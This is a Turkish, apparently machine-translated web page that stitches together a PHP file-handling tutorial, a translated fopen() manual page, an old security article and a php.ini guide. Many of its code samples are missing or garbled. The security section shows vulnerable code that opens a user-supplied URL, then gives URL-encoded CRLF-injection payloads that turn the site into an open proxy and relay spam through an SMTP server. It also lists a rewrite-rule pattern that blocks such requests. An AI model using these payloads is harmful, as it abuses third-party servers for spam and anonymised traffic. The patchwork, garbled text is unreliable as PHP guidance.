Menü
Ücretsiz
Kayıt
Ev  /  internet/Fopen - Bir dosyayı veya URL'yi açar. Dosyaları ve harici verileri açma

Fopen - Bir dosyayı veya URL'yi açar. Dosyaları ve harici verileri açma

16.5K

Aslında bir php dosyasının nasıl açılacağı büyük bir sorun değildir. Ormanın ortasındayken bir şişe birayı açmak daha zor olabilir. Ancak yalnızca hevesli programcılar bu şekilde düşünür. Yeni başlayanlar için size PHP'nin dosyalarla çalışmaya yönelik tüm yeteneklerini anlatacağız:

php dosyaları

Şununla dosyalar: php uzantısı aynı isimli programlama dilinde yazılmış kod içerir. Diğer dillerden farklı olarak php, sunucu taraflı bir programlama dilidir. Yani sunucu tarafında çalışır. Bu nedenle, kodunda hata ayıklamak için istemci makineye yerel bir sunucunun kurulması gerekir.

Php dosyalarıyla çalışmak için şunu kullanın: özel uygulamalar– yazılım editörleri. En yaygın olanları şunlardır:

  • Dreamweaver.
  • PHPEdit.
  • Eclipse PHP Geliştirme.
Web siteleri oluştururken php tabanlı tekrarlanan kullanım gerektirebilir program kodu. Bu gibi durumlarda başka bir dosyada bulunan hazır çözümleri bağlamak uygundur. Bu amaçla kullanılır yapıyı dahil et. Sözdizimi şöyledir:

dosya adını ekle

Bağlantı örneği:

Dahil edilen dosya:


Bir dosyanın dahil edilmesi require yapısı kullanılarak da mümkündür. Dahil etmenin aksine, program kodu yürütülmeden önce dosyayı içerir. Kodda require kullanıldığında bu dosyaya yalnızca bir çağrı yapılabilir. Tekrar erişildiğinde sistem genel bir hata mesajı görüntüleyecek ve programın yürütülmesini durduracaktır.

Include yapısı yalnızca programın yürütülmesi sırasında kaynağı içerir. Php dosyasının çoklu okunmasını destekler. Bir hata oluşursa yalnızca bir uyarı mesajı görüntülenecek ve kod yürütmeye bir sonraki satırdan devam edilecektir.

Dosyaları açma ve kapatma

Php'de dosyalarla yapılan tüm işlemler birkaç aşamada gerçekleştirilir:

  • Bir dosyayı açmak;
  • İçerik düzenleme;
  • Dosyayı kapatıyorum.

Fopen() fonksiyonu bir dosyayı açmak için kullanılır. Sözdizimi şöyledir:

int fopen(string dosya adı, string modu [, int use_include_path])

Kabul edilen argümanlar:

  • string dosya adı – dosya adı veya dosyanın mutlak yolu. Dosyanın yolu belirtilmezse geçerli dizinde aranacaktır. Aradığınız dosya eksikse sistem bir hata mesajı görüntüleyecektir. Örnek:

  • dize modu – dosya açma modunu gösterir. Argüman tarafından kabul edilen değerler:
  • r – dosya yalnızca okumak için açılır, dosya işaretçisi başlangıçta ayarlanır;
  • r+ – dosya okuma ve yazmaya açık;
  • w – oluşturuldu yeni dosya yalnızca kayıt amaçlıdır. Aynı adda bir dosya zaten mevcutsa, otomatik kaldırma bütün bilgiler;
  • w+ - yazma ve okuma için yeni bir dosya oluşturur. Böyle bir dosya mevcut olduğunda, yeni veriler onun verilerinin üzerine tamamen yazılır;
  • a – dosya yazmaya açıktır. İşaretçi sonunda ayarlanır. Yani, bir giriş php dosyası baştan değil sondan başlayacak;
  • a+ – bir dosyayı okuma-yazma modunda açar. Kayıt sondan başlayacaktır;
  • b – ikili veri içeren bir dosyayla çalışma modu (içinde İkili sistem hesaplama). Bu mod yalnızca Windows işletim sisteminde kullanılabilir.

Bir dosyaya erişimi kapatmak için fclose() işlevini kullanın. Sözdizimi:

int fclose (int dosyası), burada int dosyası kapatılacak sitenin tanıtıcısıdır.

Her okuma veya yazma işleminden sonra dosyanın bu fonksiyonla kapatılması gerekir. Aksi takdirde kalır açık akış, dosya için oluşturuldu. Bu da gereksiz sunucu kapasitesi tüketimine yol açmaktadır.

Örnek:

Dosyaları okuma ve yazma

Bir dosyanın tüm içeriğini basitçe görüntülemek için readfile() işlevi idealdir. Sözdizimi şöyledir:

readfile (string filename) ; burada dize dosya adı dize dosya adıdır (bir tanıtıcı değil).


Aynı dosya fpassthru() işlevi kullanılarak okunabilir. Verileri uç işaretçi konumundan dosyanın sonuna kadar okur. Sözdizimi şöyledir:

int fpassthru (int dosyası)

İşlev, bir dosyanın açılıp kapatılmasını gerektirir. Örnek:

Sonuç bir öncekine benzer.

Php'deki dosyalarla çalışma işlevleri, içeriği satır satır ve karakter karakter okumanıza olanak tanır:

  • string fgets (int dosyası, int uzunluğu)– fonksiyon uzunluk uzunluğunda bir dize okur. Örnek:

  • string fread (int dosyası, int uzunluğu)– eylem öncekiyle aynıdır.

Bir dosyaya metin verisi yazmak için iki özdeş işlev vardır:

  • int fputs (int dosyası, string string [, int uzunluk])
  • int fwrite(int dosyası, string string [, int uzunluk ])

İşlevler bir dosya int dosyasına belirtilen uzunlukta bir dize dizesi yazar int uzunluk ( isteğe bağlı argüman). Örnek:

Dosya oluşturma ve silme

Bir php dosyası oluşturmak için fopen() fonksiyonunu "w" veya "w+" erişim modunda kullanabilirsiniz. Veya touch() işlevi. Dosya değişiklik zamanını ayarlar. Aranan isimde eleman yoksa oluşturulacaktır. Sözdizimi.

(PHP 4, PHP 5, PHP 7)

fopen - Bir dosyayı veya URL'yi açar

Tanım

Kaynak açık (string $dosya adı , dize $ modu [, bool $use_include_path = false [, kaynak $bağlam ]])

fopen() dosya adı bağımsız değişkeninde belirtilen adlandırılmış kaynağı akışa atar.

Parametrelerin listesi

Dosya adı "scheme://..." biçiminde aktarılırsa, bu bir URL olarak kabul edilir ve PHP bu şema için bir protokol işleyicisi ("sarmalayıcı" olarak da bilinir) arayacaktır. Protokolü kullandığınızda PHP, betiğinizdeki olası bir sorunu tespit etmenize ve ardından dosya adı normal bir dosyayı işaret ediyormuş gibi yürütmeye devam etmenize yardımcı olmak için bir uyarı yayınlayacaktır.

Eğer PHP dosya adını yerel bir dosyaya işaret edecek şekilde ayarlarsa, bu dosyaya bir akış açmaya çalışır. Dosyanın PHP tarafından erişilebilir olması gerekir, dolayısıyla dosya izinlerinin buna izin verdiğinden emin olmalısınız. Güvenli modu veya open_baseir'i etkinleştirdiyseniz daha fazla kısıtlama geçerli olur.

PHP, dosya adının kayıtlı bir protokole işaret ettiğini ve bu protokolün bir ağ URL'si olarak kayıtlı olduğunu belirlerse, PHP, Allow_url_fopen yönergesinin durumunu kontrol eder. Devre dışı bırakılırsa PHP bir uyarı verir ve fopen çağrısı başarısız olur.

Yorum:

Desteklenen protokollerin bir listesi Desteklenen protokoller ve sarmalayıcılar bölümünde mevcuttur. Bazı protokoller ( sarmalayıcılar) Destek bağlam ve/veya php.ini seçenekleri. Ayarlanabilecek seçeneklerin listesi için uygun protokol sayfasına bakın. (örneğin php.ini değeri kullanıcı_agent sarmalayıcı tarafından kullanılır http).

Açık Windows platformu dosya yolundaki tüm ters eğik çizgilerden kaçmanız veya eğik çizgiler kullanmanız gerekir.

$tanıtıcı = fopen("c:\\klasör\\resource.txt", "r");
?>

Mode parametresi, iş parçacığından talep ettiğiniz erişim türünü belirtir. Aşağıdaki seçeneklerden biri olabilir:

Olası modların listesi fopen() modu kullanma
mod Tanım
"R" Dosyayı salt okunur olarak açar; İşaretçiyi dosyanın başlangıcına yerleştirir.
"r+" Okumak ve yazmak için bir dosya açar; İşaretçiyi dosyanın başlangıcına yerleştirir.
"w" Dosyayı yalnızca yazmak için açar; dosyanın başına bir işaretçi yerleştirir ve dosyayı sıfır uzunlukta keser. Dosya mevcut değilse, onu oluşturmaya çalışır.
"w+" Okumak ve yazmak için bir dosya açar; dosyanın başına bir işaretçi yerleştirir ve dosyayı sıfır uzunlukta keser. Dosya mevcut değilse, onu oluşturmaya çalışır.
"A" Dosyayı yalnızca yazmak için açar; İşaretçiyi dosyanın sonuna yerleştirir. Dosya mevcut değilse, onu oluşturmaya çalışır.
"bir+" Okumak ve yazmak için bir dosya açar; İşaretçiyi dosyanın sonuna yerleştirir. Dosya mevcut değilse, onu oluşturmaya çalışır.
"X" Yalnızca yazmak için oluşturur ve açar; İşaretçiyi dosyanın başlangıcına yerleştirir. Dosya zaten mevcutsa arayın fopen() başarısızlıkla sonuçlanır, geri döner YANLIŞ ve seviye hatası verecektir E_UYARI. Dosya mevcut değilse, onu oluşturmaya çalışacaktır. Bu, bayrakları belirtmeye eşdeğerdir O_EXCL|O_CREAT dahili sistem çağrısı için açık(2).
"x+" Okuma ve yazma için oluşturur ve açar; aksi takdirde aynı davranışa sahiptir "X".
"C" Dosyayı yalnızca yazmak için açar. Dosya mevcut değilse oluşturulur. Dosya mevcutsa kesilmez (farklı olarak) "w") ve bu işlevin çağrılması bir hataya neden olmaz (olduğu gibi) "X"). Dosya işaretçisi dosyanın başlangıcına ayarlanacaktır. Bir dosyayı kilitlemek istiyorsanız bu yararlı olabilir (bkz. sürü()) değiştirmeden önce, kullanımdan bu yana "w" kilit alınmadan önce dosyayı kısaltabilirsiniz (dosyayı kısaltmak istiyorsanız, işlevi kullanabilirsiniz) ftruncate() bir engelleme isteğinden sonra).
"c+" Okumak ve yazmak için bir dosya açar; aksi takdirde aynı davranışa sahiptir "C".

Yorum:

Farklı işletim sistemi ailelerinin satır sonlarıyla ilgili farklı kuralları vardır. Metin yazarken satır sonu eklemek istediğinizde, metniniz için doğru karakterleri (veya sembolü) kullanmalısınız. işletim sistemi. Unix ailesi sistemlerinin kullanımı \N Windows ailesi sistemleri satır sonu karakteri olarak \r\n satır sonu karakterleri ve Macintosh sistemlerinin kullandığı gibi \R satır sonu karakteri olarak.

Dosyaları düzenlerken yanlış satır sonu karakterini kullanırsanız, bu dosyaları açtığınızda "tuhaf" görünebilir.

Windows bir metin yayın modu bayrağı sunar ( "T"), otomatik olarak tercüme edecek \N V \r\n dosyayla çalışırken. Ve tam tersi - şunu da kullanabilirsiniz: "B" verilerinizi dönüştürmeyen ikili modu zorlamak için. Bu modları kullanmak için belirtin "B" veya "T" mod parametresinin son harfi.

Varsayılan çeviri bayrağı ayarı kullanılan SAPI ve PHP sürümüne bağlı olduğundan, taşınabilirlik nedenleriyle belirtilen bayrağı açıkça ayarlamanızı öneririz. Modu kullanmalısınız "T" eğer birlikte çalışıyorsanız Metin dosyası ve kullan \N Not Defteri gibi diğer uygulamalarda dosyalarınızın okunabilirliği konusunda endişelenmeden komut dosyanızda bir satırın sonunu işaretlemek için. Diğer tüm durumlarda bayrağı kullanın "B".

İkili dosyalarla çalışırken "b" bayrağını açıkça belirtmezseniz, verilerinizde, bozuk görüntü dosyaları ve garip sembol sorunları da dahil olmak üzere garip bozulmalarla karşılaşabilirsiniz. \r\n.

Yorum:

Taşınabilirlik nedeniyle, dosyaları açarken her zaman "b" bayrağını kullanmanız önemle tavsiye edilir. fopen() .

Yorum:

Ek olarak, taşınabilirlik nedenleriyle, eski kodun yeniden yazılması da önemle tavsiye edilir. "T" böylece bunun yerine uygun satır sonlarını ve modunu kullanır "B".

use_include_path

İsteğe bağlı üçüncü parametre use_include_path "1" olarak ayarlanabilir veya DOĞRU ayrıca include_path içindeki bir dosyayı aramak istiyorsanız.

Bağlam

Yorum: Bağlam desteği PHP 5.0.0'a eklendi. Açıklama için bağlamlar Akışlar bölümüne bakın.

Dönüş değerleri

Başarılı olursa dosyaya bir işaretçi döndürür veya YANLIŞ hata durumunda.

Hatalar

Dosya açılamazsa seviye hatası oluşacaktır E_UYARI. Bu hatayı bastırmak için operatörü kullanabilirsiniz.

Değişikliklerin listesi

Örnekler

Örnek #1 Kullanım örnekleri fopen()

$tanıtıcı = fopen("/home/rasmus/file.txt", "r");
$tanıtıcı = fopen ("/home/rasmus/file.gif", "wb");
$tanıtıcı = fopen("http://www.example.com/", "r");
$tutamaç = fopen ( "ftp://kullanıcı: [e-posta korumalı]/bir dosya.txt", "w" );
?>

Notlar

Dikkat

SSL kullanırken Microsoft IIS, bir gösterge göndermeden bağlantıyı kapatarak protokolü bozar kapat_notify. Verinin sonuna ulaştığınızda PHP bunu "SSL: Ölümcül Protokol Hatası" olarak rapor edecektir. Bu sorunu aşmak için error_reporting'i E_WARNING'i hariç tutacak bir düzeye ayarlamanız gerekir. PHP 4.3.7 ve daha eski sürümler, sarmalayıcı kullanarak bir akışı açarken sunucu tarafında sorunlu bir IIS olduğunu algılayabilir https:// ve bir uyarı görüntülemez. Eğer kullanıyorsanız fsockopen() yaratmak için ssl:// soket, bu uyarıyı tespit etmek ve bastırmak sizin sorumluluğunuzdadır.

Yorum: Güvenli mod seçeneği etkinleştirildiğinde PHP, çalışmak üzere olduğunuz dizinin yürütülmekte olan komut dosyasıyla aynı UID'ye (sahip) sahip olup olmadığını kontrol eder.

Yorum:

Dosyaları okurken veya yazarken sorunlarla karşılaşırsanız ve PHP'yi sunucu modülü olarak kullanıyorsanız, sunucu işleminin kullandığınız dosya ve dizinlere erişimi olduğundan emin olun.

Yorum:

Bu işlev, dosya adı bir dizin ise de başarılı olabilir. Dosya adının bir dosya mı yoksa bir dizin mi olduğundan emin değilseniz, işlevi kullanmanız gerekir. is_dir(), çağrıdan önce fopen() .

fopen, file, include ve require işlevleri, diğer sitelerdeki dosyaları aşağıdakileri kullanarak açabilir: http protokolleri ve ftp. Bu fırsat beraberinde geliyor potansiyel güvenlik açığı PHP betiklerinde, siteyi proxy olarak kullanmanıza olanak tanır.

Bu materyalde yeni hiçbir şey olmayacağı konusunda sizi uyarıyorum. Bir saldırgan için etkileyici yeteneklere rağmen, bu güvenlik açığı yalnızca iyi bilinen PHP özelliklerinin bir birleşimidir.

2002 yılında paralel olarak yazılımdaki güvenlik açıklarını araştıran birkaç grup, php'de ciddi ve güçlü bir güvenlik açığı keşfetti.

Bu güvenlik açığı pratikte Rus dili internette yer almıyordu. Rusça güvenlik web sitelerinde bu güvenlik açığıyla ilgili doğrudan bir rapor bulamadım.

Güvenlik Açığı

URL fopen sarmalayıcısı

İşlevselliği artırmak ve kodlamayı basitleştirmek için PHP geliştiricileri bu özelliği fopen, file, include ve diğer işlevlerde yaptılar. Dosya adı "http://" ile başlıyorsa, sunucu bir HTTP isteği yapacak, sayfayı indirecek ve bunu aşağıdaki gibi bir değişkene yazacaktır: normal dosya. "Ftp://", "php://" önekleri de benzer şekilde çalışır (ikincisi stdin, stdout ve stderr'i okumak ve yazmak için tasarlanmıştır). Bu, web sitesi geliştiricilerinin http istek kitaplıklarıyla uğraşmak ve bunları manuel olarak yazmak zorunda kalmaması için gerekliydi. Bu seçenek php ayarlarında,allow_url_fopen parametresinde devre dışı bırakılmıştır.

HTTP isteklerinde CR/LF

Bir HTTP isteğindeki satır başı ve satır besleme karakterlerinin birleşimi, başlıkları ayırır. Bununla ilgili daha fazla bilgiyi Anton Kalmykov'un makalesinde okuyabilirsiniz. Bu karakter kombinasyonu "%0D%0A" biçimindeki bir GET isteğinde iletilebilir.

Güvenilmeyen giriş

Birçok sitede sayfalar bir şablon komut dosyası tarafından oluşturulur. Tüm site istekleri betiğe yönlendirilir. Açılacak dosyanın adı REQUEST_URI'den alınmıştır. Dosya okunur, içine navigasyon, başlık vb. içeren bir şablon eklenir ve sonuç müşteriye verilir.

Dikkatsiz veya deneyimsiz bir programcı, verileri kontrol etmeden bir dosyayı açmak için kolayca yazabilir:

echo implode("", file(substr($REQUEST_URI, 1)));

İlk karakter olan eğik çizgi istekten çıkarılır ve dosya açılır. Saldırgan, sunucudaki bir dosyanın yolu olarak http://example.com satırını kolayca girebilir: http://n00b.programmer.com/http://example.com Diğer bir seçenek ise sitedeki tüm adreslerin benzer görünmesidir. http://n00b.programmer.com/index.php?f=news Bu durumda saldırgan şöyle bir adres açmaya çalışacaktır: http://n00b.programmer.com/index.php?f=http://example.com Gelen verilere güvenmemek ve gelen istekleri normal ifadeler kullanarak filtrelemek çok önemlidir.

Faydalanmak

Yukarıdaki örnekte adres hiçbir şekilde kontrol edilmediğinden, isteğe HTTP isteği içeren bir satır ekleyebilirsiniz. Bir saldırgan yolu açarsa

Index.php?f=http%3A%2F%2Fexample.com%2F+HTTP%2F1.0%0D%0A%0D%0A
Ana Bilgisayar:+example.com%0D%0AUkullanıcı aracısı:+Space+Bizon%2F9%2E11%2E2001+
%28Windows+67%29%0D%0Avar1%3Dfoo%26var2%3Dbar%0D%0A%0D%0A ardından komut dosyası bir HTTP isteği yürütecektir: GET example.com/ HTTP/1.0\r\n
Ana makine: example.com\r\n
Kullanıcı aracısı: Space Bizon/9.11.2001 (Windows 67)\r\n
var1=foo&var2=bar\r\n
\r\n
HTTP/1.0\r\n
Ana makine: www.site1.st\r\n
Kullanıcı Aracısı: PHP/4.1.2\r\n
\r\n

Betik son üç satırı otomatik olarak ekler, ancak bunlardan iki \r\n önce isteğin sonu anlamına gelir. Böylece korumasız bir komut dosyası proxy sunucusu olarak kullanılabilir. Birkaç "sızdıran" siteyi bilen bir saldırgan, kendisini bulmayı zorlaştırmak için bunlardan bir zincir oluşturabilir.

İstismarın akıllıca kullanımı

Ücretsiz demo erişimi sağlayan sağlayıcının sızdıran bir web sitesi varsa, ev sunucunuz için böyle bir proxy sunucusuna istek oluşturacak bir komut dosyası yazabilir ve biraz tasarruf edebilirsiniz. Bu mesele elbette anlaşılabilir ve cezalandırılabilir, ancak genel olarak şımartıcıdır. Başka birinin makinesinin proxy olarak daha karlı kullanılması, ticari spam göndermektir. Ulf Harnhammar'ın yazdığı bir makaleden örnek:

Index.php?f=http%3A%2F%2Fmail.example.com%3A25%2F+HTTP/1.0%0D%0AHELO+
my.own.machine%0D%0AMAIL+FROM%3A%3Cme%40my.own.machine%3E%0D%0ARCPT+
TO%3A%3Cinfo%40site1.st%3E%0D%0ADATA%0D%0Ai+asla+kelimeyi+söylemeyecek+
ERTELE+tekrar%0D%0A.%0D%0AQUIT%0D%0A%0D%0A

(tek satır olmalıdır) PHP modülü mail.example.com sunucusuna 25 numaralı bağlantı noktasından bağlanacak ve aşağıdaki isteği gönderecektir:

GET / HTTP/1.0\r\n
HELO benim.kendi.makinem\r\n
POSTA KİMDİR: \r\n
RCPT ALICI: \r\n
VERİ\r\n
Bir daha asla ERTELEME kelimesini söylemeyeceğim\r\n
.\r\n
ÇIKIN\r\n\r\n

HTTP/1.0\r\n
Ana makine: mail.site1.st:25\r\n
Kullanıcı Aracısı: PHP/4.1.2\r\n\r\n

PHP ve posta sunucusu tartışacak, ancak mektup gönderilecek. Birinin web sitesinde böyle bir güvenlik açığı varsa, istismar edilen bir web sunucusundan posta alan kapalı bir posta aktarımını arayabilirsiniz. Bu geçiş, sağlayıcıların kara listelerinde yer almayacak ve spam göndermek çok etkili olabilir. Web sitemde 25 numaralı bağlantı noktasının geçiş halinde olduğu birçok istek buldum. Üstelik bu yılın başına kadar böyle bir talep de yoktu. Daha önce yalnızca birkaç meraklı kullanıcı böyle bir güvenlik açığından haberdardı ve ancak geçen yıl bu açık kamuoyu tarafından duyuruldu ve spam gönderenler tarafından yayına sunuldu.

İstismar Önleme Tedbirleri

Bir geliştirici veya site sahibi olarak, hiç kimsenin siteniz aracılığıyla spam gönderemeyeceğinden emin olmak için mümkün olan her şeyi yapmanız sizin için önemlidir. Eğer bu işe yararsa, sahipleri insan dilini anlamayan bazı Hawaii çevirmeli ağlarından gönderilecektir ve sizi sonuncu yapabilirler.

İstek günlüğünü kontrol etme

Başlangıç ​​olarak siteden talep edilen benzersiz adreslerin listesine göz atmanızda fayda var. Bu, saldırı ve deliğin kötüye kullanılması vakalarının olup olmadığını öğrenmenize yardımcı olacaktır. Tipik olarak, spam gönderenler ihtiyaç duydukları posta aktarıcısına 25 numaralı bağlantı noktası üzerinden bağlanma olasılığını hemen kontrol ederler. Bu nedenle ":25" ve "%3A25" satırlarını aramalısınız.

php kurulumu

Olası bir güvenlik açığını devre dışı bırakmanın en kolay yolu, URL'lerin açılmasını dosya işlevleri aracılığıyla devre dışı bırakmaktır. Sunucunuzun yöneticisiyseniz, php ayarlarınızda izin_url_fopen'ı devre dışı bırakın. Yalnızca bir müşteriyseniz, yerel olarak engelleyin. Site kökünün .htaccess dosyasına şu satırı yazın: php_value izin_url_fopen 0 Kötü bir barındırma sağlayıcısıysanız, yönergeyi kullanarak tüm istemciler için fopen sarmalayıcı URL'sini devre dışı bırakabilirsiniz. php_admin_value. Bu durumda güvenli modun etkinleştirilmesi yardımcı olmayacaktır; işlev düzgün çalışmaya devam eder.

Kod değişikliği

Aşağıdaki zor durum mümkündür: siz bir müşterisiniz ve dikkatsiz bir barındırma sağlayıcısı yöneticisi, tüm php ayarlarını php_admin_value'ya girmiştir ve bunlar değiştirilemez. Komut dosyası kodunu değiştirmeniz gerekecektir. En kolay yol, dosyaları değişken adlarından açan fopen, file ve include işlevlerini aramaktır. Ve http:// ve ftp:// öneklerini kesmek için str_replace işlevini kullanın. Ancak bazen komut dosyasının yine de kullanıcıdan gelen adresleri açması gerekir. Örneğin, metne müstehcenlik katan veya metni bozuk Rusçayla değiştiren bir senaryo-pornolaştırıcı ("nastayaschih aztsof, fsem fftykat'ın yolu"). Bu siteler muhtemelen özensiz programlamadan en çok zarar gören sitelerdi. Bu durumda, kendimizi sonuçtaki dizeden "\r\n"yi kesmekle sınırlamak oldukça mümkündür. Bu durumda saldırgan gönderdiğiniz isteğe kendi başlığını ekleyemeyecektir.

Saldırgan bir istek üzerine çalışmayı durdurma

Sitenizi denetlenmeyen değişkenlere karşı tarayan bir istemci, gereksiz trafik oluşturur ve sunucunun işlemcisini yükler. Sitenizin oluşturduğu sayfalar proxy görevi görmüyorsa ihtiyaç duymadığı açıktır. PHP yorumlayıcısını başlatmadan önce bu tür isteklerin sonlandırılması tavsiye edilir. Bu mod_rewrite modülü kullanılarak yapılabilir. Sitenin kökündeki .htaccess dosyasına aşağıdaki satırı koydum:

Yeniden Yazma Kuralı ((%3A|:)25|%0D%0A) - [G]

Sitenin GET yöntemini kullanarak çok satırlı kullanıcı girişi olan formları göndermeyeceği varsayılmaktadır. Aksi takdirde bu kurala göre durdurulacaklar.

Okunabilir adreslemeyi desteklemek için mod_rewrite kullanıyorsanız, iki nokta üst üste ve CRLF büyük olasılıkla kullanılmaz. Bu nedenle, diğer RewriteRule satırları tarama isteğiyle eşleşmeyecektir ve isteğin işlenmesini durduran satırı kural listesinin sonuna yerleştirmek daha iyidir. Daha sonra normal istekler yeniden yazılacak ve bu satıra yönlendirilecektir ([L] bayrağını kullanın), bu da onların işlem süresini kısaltacaktır. Farklı koşullara bağlı olarak değişebilir.

Bu bölümde size sunucudaki bir dosyayı nasıl açacağınızı, okuyacağınızı ve kapatacağınızı öğreteceğiz.

PHP Dosya Açma - fopen()

Dosyaları açmanın daha iyi bir yöntemi fopen() işlevidir. Bu işlev size readfile() işlevinden daha fazla seçenek sunar.

Derslerde "webdictionary.txt" isimli text dosyasını kullanacağız:

AJAX = Eşzamansız JavaScript ve XML
CSS = Basamaklı Stil Sayfaları
HTML = Hiper Metin İşaretleme Dili
PHP = PHP Köprü Metni Önişlemcisi
SQL = Yapılandırılmış Sorgu Dili
SVG = Ölçeklenebilir Vektör Grafikleri
XML = Genişletilebilir İşaretleme Dili

fopen() fonksiyonunun ilk parametresi açılacak dosyanın adını içerir, ikinci parametre ise dosyanın hangi modda açılması gerektiğini belirtir. Aşağıdaki örnek, fopen() işlevi belirtilen dosyayı açamadığında da bir mesaj oluşturur:

Örnek


echo fread($dosyam,filesize("webdictionary.txt"));
fclose($dosyam);
?>

Örneği çalıştır »

Uç: Fread() ve fclose() işlevleri aşağıda açıklanacaktır.

Dosya aşağıdaki modlardan birinde açılabilir:

Modlar Tanım
R Bir dosyayı salt okunur olarak açma
w Bir dosyayı yalnızca yazmak için açma
A Bir dosyayı yalnızca yazmak için açma
X Yalnızca yazmak için yeni bir dosya oluşturur
r+ Okuma/yazma için bir dosya açın. Dosya işaretçisi dosyanın başlangıcında başlar
w+ Okuma/yazma için bir dosya açın. Dosyanın içeriğini siler veya mevcut değilse yeni bir dosya oluşturur.Dosya işaretçisi dosyanın başlangıcından başlar
a+ Okuma/yazma için bir dosya açın. Dosyadaki mevcut veriler korunur. Dosya işaretçisi dosyanın sonunda başlar. Dosya mevcut değilse yeni bir dosya oluşturur
x+ Okuma/yazma için yeni bir dosya oluşturur. Dosya zaten mevcutsa FALSE değerini döndürür ve bir hata verir

PHP Dosyayı Oku - fread()

fread() işlevi açık bir dosyadan okur.

Fread() fonksiyonunun ilk parametresi okunacak dosyanın adını içerir ve ikinci parametre okunacak maksimum bayt sayısını belirtir.

Aşağıdaki PHP kodu "webdictionary.txt" dosyasını sonuna kadar okur:

Fread($dosyam,filesize("webdictionary.txt"));

PHP Dosyayı Kapat - fclose()

Açık bir dosyayı kapatmak için fclose() işlevi kullanılır.

Tüm dosyaları işiniz bittikten sonra kapatmak iyi bir programlama uygulamasıdır. Açık bir dosyanın sunucunuzda dolaşıp kaynakları kaplamasını istemezsiniz!

fclose(), kapatmak istediğimiz dosyanın adını (veya dosya adını tutan bir değişkeni) gerektirir:

$dosyam = fopen("webdictionary.txt", "r");
// çalıştırılacak bazı kodlar....
fclose($dosyam);
?>

PHP Tek Satırı Oku - fgets()

fgets() işlevi bir dosyadan tek bir satırı okumak için kullanılır.

Aşağıdaki örnek "webdictionary.txt" dosyasının ilk satırını verir:

Not: fgets() işlevine yapılan çağrıdan sonra dosya işaretçisi bir sonraki satıra taşındı.

PHP Dosya Sonunu Kontrol Et - feof()

feof() işlevi "dosya sonuna" (EOF) ulaşılıp ulaşılmadığını kontrol eder.

feof() işlevi, bilinmeyen uzunluktaki veriler arasında döngü yapmak için kullanışlıdır.

Aşağıdaki örnekte "webdictionary.txt" dosyası dosya sonuna ulaşılıncaya kadar satır satır okunur:

Örnek

$dosyam = fopen("webdictionary.txt", "r") or die("Dosya açılamıyor!");
// Dosyanın sonuna kadar bir satır çıktısı alın
while(!feof($dosyam)) (
echo fgets($dosyam) . "
";
}
fclose($dosyam);
?>

Örneği çalıştır »

PHP Tek Karakteri Oku - fgetc()

fgetc() işlevi bir dosyadan tek bir karakter okumak için kullanılır.

Aşağıdaki örnek, "webdictionary.txt" dosyasını dosya sonuna ulaşılıncaya kadar karakter karakter okur:

Örnek

$dosyam = fopen("webdictionary.txt", "r") or die("Dosya açılamıyor!");
// Dosyanın sonuna kadar bir karakter çıktısı alın
while(!feof($dosyam)) (
echo fgetc($dosyam);
}
fclose($dosyam);
?>

Örneği çalıştır »

Not: fgetc() işlevi çağrıldıktan sonra dosya işaretçisi bir sonraki karaktere geçer.

Tam PHP Dosya Sistemi Referansı

Dosya sistemi fonksiyonlarının tam bir referansı için tam sayfamıza gidin.

Php.ini dosyasının konumu, barındırma sağlayıcısının sunucusunun çalıştığı işletim sistemine bağlıdır. Nerede olduğunu bulmak için 4 basit adımı izleyin:

  1. Bir php dosyası oluşturun (adı herhangi bir şey olabilir, ancak örnek olarak myphpinfo.php'yi alıyoruz) ve dosyaya aşağıdaki satırları ekleyin:
  2. Bu dosyayı sitenizin bulunduğu sunucuya (kök klasöre) yükleyin.
  3. Tarayıcı aracılığıyla başlatıyoruz (https://siteadınız.com/myphpinfo.php URL'sini girin).
  4. Açılan pencerede php.ini yolunu arayın (önce “Yüklü Yapılandırma Dosyası”na bakın, eğer “Yok” diyorsa, ardından “Yapılandırma Dosyası (php.ini) Yolu”na bakın).

Php.ini nasıl yapılandırılır?

Php.ini dosyası aşağıdaki söz dizimi kurallarına sahiptir: "direktif = değer". Yorum eklemek istiyorsanız (örneğin, neyin etkilendiğini belirttiğiniz) bu ayar), ardından bunu noktalı virgülden sonra yapın (bu işaretten sonra gelen her şey komut olarak sayılmaz). İşte bir örnek:

max_execution_time = 40; Komut dosyasının yürütülmesi için maksimum saniye sayısı

Genel Ayarlar

PHPengine = Açık ; PHP betikleri etkinleştirildi.

Short_open_tag = Açık ; PHP kodunun etiketlerle basitleştirilmiş çerçevelenmesine izin verir

Asp_tags = Açık; ASP'de yapıldığı gibi PHP kodunu vurgulama yeteneğini etkinleştirir -<% %>

Hassasiyet = 12; Kayan noktalı sayılarda virgülden sonra kaç basamak olacağını belirtir.

Output_buffering = 4096; Çıkış arabelleği, "eşittir" ifadesinin ardından belirtilen arabellek boyutuyla otomatik olarak etkinleştirilecektir.

Safe_mode = Açık; Güvenli mod.

Safe_mode_allowed_env_vars = PHP_; Kullanıcının yalnızca PHP_ ile başlayan ortam değişkenleriyle çalışmasına izin verir. Bu yönerge boşsa (hiçbir değeri olmayacaksa), kullanıcılar herhangi bir ortam değişkenini değiştirebilecektir. Bu, komut dosyası güvenliği açısından çok zararlı olabilir.

Safe_mode_protected_env_vars = LD_LIBRARY_PATH; Virgülle ayrılmış olarak listelenen değişkenlerin değiştirilmesini yasaklar.

Disable_functions = ; Eşittir işaretinden sonra, devre dışı bırakmak istediğiniz işlevleri virgülle ayırarak yazmanız gerekir (bu genellikle güvenlik amacıyla yapılır)

Disable_classes = ; "Eşittir" işaretinden sonra çağrılmasını yasaklamak istediğiniz sınıfları virgülle ayırarak yazmanız gerekir (genellikle bu güvenlik için yapılır)

Kaynak Sınırlaması

max_execution_time = 40; Komut dosyasının yürütülmesi için maksimum süre (saniye cinsinden)

Maksimum_giriş_zamanı = 40; Yüklenen verileri işlemek için komut dosyasına verilen saniye cinsinden maksimum süre.

Bellek_sınırı = 16M; Bir komut dosyası için ayrılan maksimum bellek

Hata İşleme ve Günlükler

error_reporting = E_ALL | E_ERROR | E_UYARI | E_PARSE | E_CORE_ERROR | E_CORE_WARNING | E_COMPILE_ERROR | E_COMPILE_WARNING | E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE ; Görüntülenebilecek hataların listesini belirtir.

Display_errors = Açık; Hataların doğrudan tarayıcıda görüntülenmesine izin verir (genellikle hata ayıklamayı kolaylaştırmak için kullanılır).

Display_startup_errors = Açık ; PHP'nin başlatılması sırasında ortaya çıkan hataların gösterilmesine izin verilir.

Log_errors = Açık ; Hataların bir günlük dosyasına yazılmasına izin verilir.

